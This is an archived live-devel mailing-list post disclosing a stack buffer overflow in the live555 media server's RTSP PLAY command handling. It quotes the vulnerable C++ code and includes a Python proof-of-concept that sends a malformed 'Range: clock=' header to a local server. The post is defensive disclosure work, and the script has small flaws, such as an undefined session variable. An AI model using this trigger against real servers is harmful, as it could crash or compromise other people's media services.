[Live-devel] [Security Issue][liblivemedia] stack buffer overflow in liblivemedia

向小波 xiangxiaobo at iie.ac.cn
Wed Jul 8 21:07:16 PDT 2020

- Previous message (by thread): [Live-devel] new to Live555, seeking info and advice
- Next message (by thread): [Live-devel] [Security Issue][liblivemedia] stack buffer overflow in liblivemedia
- **Messages sorted by:** [date] [thread] [subject] [author]

~~~~
[summary]
In the latest version of live555 mediaserver, there is a stack based buffer
overflow vulnerability when parsing 'PLAY' command.

An attacker is able to send a sequence of malformed RTSP packets to trigger
this issue. In the worst case, the media server running this service can be
exploited remotely without user interaction.

[bug details]
The bug is in function RTSPServer::RTSPClientSession::handleCmd_PLAY().
It calls a sscanf function to get absolute start time and end time as
strings. This is an unsafe c function that should be taken good care of.
```cpp
  } else if (sscanf(paramStr, "clock = %n", &numCharsMatched3) == 0 &&
numCharsMatched3 > 0) {
    rangeStart = rangeEnd = 0.0;

    char const* utcTimes = &paramStr[numCharsMatched3];
    size_t len = strlen(utcTimes) + 1;
    char* as = new char[len];
    char* ae = new char[len];
    int sscanfResult = sscanf(utcTimes, "%[^-]-%[^\r\n]", as, ae);   ///
<=== dangerous function call
    if (sscanfResult == 2) {
      absStartTime = as;
      absEndTime = ae;
    } else if (sscanfResult == 1) {
```

The absStartTime and absEndTime will then be filled into a buffer in the
stack whose size is 100. While the absStart and absEnd are controllable by
us, so it is possible to overflow the buffer in the stack.
```cpp
  char buf[100];
  ......
  if (absStart != NULL)
  {
    // We're seeking by 'absolute' time:
    if (absEnd == NULL)
    {
      sprintf(buf, "Range: clock=%s-\r\n", absStart);
    }
    else
    {
      sprintf(buf, "Range: clock=%s-%s\r\n", absStart, absEnd);
    }
    delete[] absStart;
    delete[] absEnd;
  }
'''

[proof of concept]
I've attached a python script to trigger this issue.

```python
import socket
import sys,time

s = socket.socket()
s.connect(("127.0.0.1",8554))

payload = 'OPTIONS rtsp://localhost:8554/small.ogv RTSP/1.0\r\n'
payload += 'CSeq: 2\r\n'
payload += 'User-Agent: ./testProgs/openRTSP (LIVE555 Streaming Media
v2019.05.29)\r\n\r\n'
s.send(payload)

time.sleep(0.1)
data = s.recv(0x10000)
print(data)

payload = 'DESCRIBE rtsp://localhost:8554/small.ogv RTSP/1.0 \r\nCSeq: 3
\r\nUser-Agent: ./testProgs/openRTSP (LIVE555 Streaming Media v2019.05.29)
\r\nAccep
t: application/sdp\r\n\r\n'

s.send(payload)
time.sleep(0.1)
print(s.recv(0x10000))

payload = 'SETUP rtsp://127.0.0.1:8554/small.ogv/track1 RTSP/1.0\r\nCSeq:
4\r\nUser-Agent: ./testProgs/openRTSP (LIVE555 Streaming Media
v2019.05.29)\r\nTra$sport: RTP/AVP;unicast;client_port=53642-53643\r\n\r\n'
s.send(payload)
time.sleep(0.1)
res = s.recv(0x10000)
print(res)

payload = 'PLAY rtsp://127.0.0.1:8554/small.ogv/track1 RTSP/1.0\r\nCSeq:
7\r\nUser-Agent: ./testProgs/openRTSP (LIVE555 Streaming Media
v2019.05.29)\r\nSession: %s\r\n\r\nRange: clock =
0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000-0.01\r\n\r\n'
% sessionId
s.send(payload)
time.sleep(0.1)
print(s.recv(0x10000))

while True:
    pass
```

Best Regards,
Xiaobo Xiang
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.live555.com/pipermail/live-devel/attachments/20200709/5e1b5104/attachment.htm>
~~~~

- Previous message (by thread): [Live-devel] new to Live555, seeking info and advice
- Next message (by thread): [Live-devel] [Security Issue][liblivemedia] stack buffer overflow in liblivemedia
- **Messages sorted by:** [date] [thread] [subject] [author]

More information about the live-devel mailing list